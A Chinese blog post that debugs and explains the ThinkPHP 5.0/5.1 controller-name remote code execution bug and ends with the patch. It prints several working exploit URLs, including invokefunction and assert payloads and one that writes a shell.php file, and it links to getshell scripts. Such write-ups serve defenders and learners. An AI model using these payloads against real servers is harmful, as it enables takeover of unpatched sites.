ThinkPHP5 远程代码执行漏洞动态分析

0x01 前言

这个漏洞已经过去了十多天了,最近比较忙,一直没有写分析的文章。今天抽点时间出来写一篇动态分析的文章,远程执行漏洞用动态分析比较方便也看出整个执行的过程和一些变量参数。

ThinkPHP 官方最近修复了一个严重的远程代码执行漏洞。这个主要漏洞原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令,受影响的版本包括 5.0 和 5.1 版本。

0x02 环境

程序源码下载:http://www.thinkphp.cn/download/967.html
Web 环境:Windows 10 x64+PHPStudy 2018
调试工具:phpstorm+xdebug (用 vscode 也可以,我比较习惯用 phpstorm)

xdebug 调试配置可以参考我的一篇文章 https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/

因为我是从头分析到尾,所以要在设置里面勾上 Break at first line in PHP script

搭建就不多说了,放源码在根目录然后 phpstudy 启动!

0x03 漏洞复现

奉上我们的 Poc:http://getpass.test/public/index.php?s=index/\think\Request/input&filter=phpinfo&data=1

其实有很多利用的地方,到后面分析完再说。

0x04 漏洞分析

因为是从开始分析,也比较适合新手,虽然啰嗦了点哈,我就不演示去下某个断点了,如果有不懂的你们也可以在不懂的地方下一个断点然后继续分析(记得去掉 Break at first line in PHP script 再下断点)。

有些不是重点的直接 F7 或者 F8 走下去,F7 跟进 Facade

App.php 初始化的地方,继续 F8 往下面走

routeCheckF7 跟进去

到这里 F7 继续跟进去

有些没有必要的函数就直接 F8 跳过去,到 pathinfo () 这里 F7 跟进去

我们可以分析一下这个・pathinfo 函数的代码 $this->config->get ('var_pathinfo') 这一句是从配置文件 config/app.php 获取的值

当请求报文包含 $_GET ['s'],就取其值作为 pathinfo,并返回 pathinfo 给调用函数,所以我们可利用 $_GET [‘s’] 来传递路由信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function pathinfo()
{
if (is_null ($this->pathinfo)) {
if (isset($_GET[$this->config->get ('var_pathinfo')])) {
// 判断 URL 里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[$this->config->get ('var_pathinfo')];
unset($_GET[$this->config->get ('var_pathinfo')]);
} elseif ($this->isCli ()) {
// CLI 模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}

// 分析 PATHINFO 信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach ($this->config->get ('pathinfo_fetch') as $type) {
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos ($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr ($_SERVER[$type], strlen ($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}

$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim ($_SERVER['PATH_INFO'], '/');
}

return $this->pathinfo;
}

可以看到 return $this->pathinfo; 返回的内容

F7 走,可以看到 $pathinfo 赋值给 $this->path

F7 走到 check 的函数,如果开启了强制路由则会抛出异常,也就是说该漏洞在开启强制路由的情况下不受影响,但是默认是不开启的。

后面看到实例化了 UrlDispatch 对象,将 $url 传递给了构造函数。

再继续分析下去,中间有些不必要的直接 F8 走过就行了。可以看到将 $url 传递给了 $action

F7 走下去,跳回了 App.php,可以看到 $dispatch 返回来的值代入 dispatch 方法。

F7 走进去,可以看到传入的 $dispatch 赋值给了 $this->dispatch, 不过现在分析这个版本是有改动的,有些版本是在这里用 dispatch 代入下面会分析到的 parseUrl 方法,这个版本的是用 $this->actionparseUrl 方法的,继续分析下去,下面会分析到的。

F7 又返回了 App.php 的文件,可以看到执行调度这里 $data = $dispatch->run ();,我们 F7 跟进去

这里就是上面所说的,$url 是由 thinkphp/library/think/route/Dispatch.php 里面的 $this->action = $action; 传过来的。

我们 F7 继续分析 parseUrl 方法,然后 F8 走到这里

F7 进到这个 parseUrlPath 方法里面,用 / 来分割 [模块 / 控制器 / 操作] 并存到 $path 数组里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private function parseUrlPath($url)
{
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace ('|', '/', $url);
$url = trim ($url, '/');
$var = [];

if (false !== strpos ($url, '?')) {
// [模块 / 控制器 / 操作?] 参数 1 = 值 1& 参数 2 = 值 2...
$info = parse_url ($url);
$path = explode ('/', $info['path']);
parse_str ($info['query'], $var);
} elseif (strpos ($url, '/')) {
// [模块 / 控制器 / 操作]
$path = explode ('/', $url);
} elseif (false !== strpos ($url, '=')) {
// 参数 1 = 值 1& 参数 2 = 值 2...
parse_str ($url, $var);
} else {
$path = [$url];
}

return [$path, $var];
}

中间的继续 F8 往下走,返回的 $route 数组

继续往下走,F7 进去

可以看到 thinkphp/library/think/route/Dispatch.php 类这里的 $this->action 的值变了。

继续会走到 thinkphp/library/think/route/dispatch/Module.php,可以看到 $this->action 赋值给了 $result

F8 往下走,走到实例化控制器,这里的 $controller 是可控的,是由上面的 $result [1] 传过来的

1
$controller = strip_tags ($result [1] ?: $this->app->config ('app.default_controller'));

F7 跟进去,当 $name 存在反斜杠时就直接将 $name 赋值给 $class 并返回。攻击者通过控制输入就可以操控类的实例化过程,从而造成代码执行漏洞。

下面就是调用反射执行类的步骤了

也可以往下看,这里是通过 invokeMethod 函数动态调用方法的地方,可以看到 $classthink\Requset 的类,$methodinput

后面就是把内容输出到浏览器的过程了

0x05 漏洞分析回顾

我们从 POC 来分析执行过程 http://getpass.test/public/index.php?s=index/\think\Request/input&filter=phpinfo&data=1

  1. 开始我们分析 pathinfo () 函数的时候得只可以用 s 来获取路由信息
  2. parseUrlPath 方法用来分割 [模块 / 控制器 / 操作] 格式
  3. 在后面传入 $controller 的时候,就是开始我们获取到路由的值,但是用反斜杠就开头,就是想要实例化的类
  4. 最后是反射函数,调用了 input 方法执行 phpinfo ()

一定是要 Request 类里面的 input 方法来执行吗?

不一定,视版本而决定。

以下是先知大神分类出来的

5.1 是下面这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

1
2
3
4
5
6
7
8
9
10
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

1
2
3
4
5
6
7
8
9
10
think\Route 
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log

5.1.x php 版本 > 5.5:

1
2
3
4
5
http://127.0.0.1/index.php?s=index/think\request/input?data []=phpinfo ()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars [0]=phpinfo&vars [1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo ();?>

5.0.x php 版本 >=5.4:

1
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars [0]=assert&vars [1][]=phpinfo ()

这里也不写 getshell 的 python 脚本了 ,可以参考

https://github.com/theLSA/tp5-getshell

https://payloads.online/archivers/2018-12-05/1

0x06 补丁分析

下面是针对 5.0 和 5.1 的补丁,添加了正则过滤,导致无法再传入 \think\app 这种形式的控制器。

0x07 结束

很多天没发文章,这个洞还是蛮厉害的,前段时间爆发的时候还看到有人用这个洞扫全网的 ip。

0x08 参考

https://www.secpulse.com/archives/92835.html

https://paper.seebug.org/760/

https://www.kancloud.cn/manual/thinkphp5_1/353946

http://www.lsablog.com/networksec/penetration/thinkphp5-rce-analysis/

https://iaq.pw/archives/106

https://xz.aliyun.com/t/3570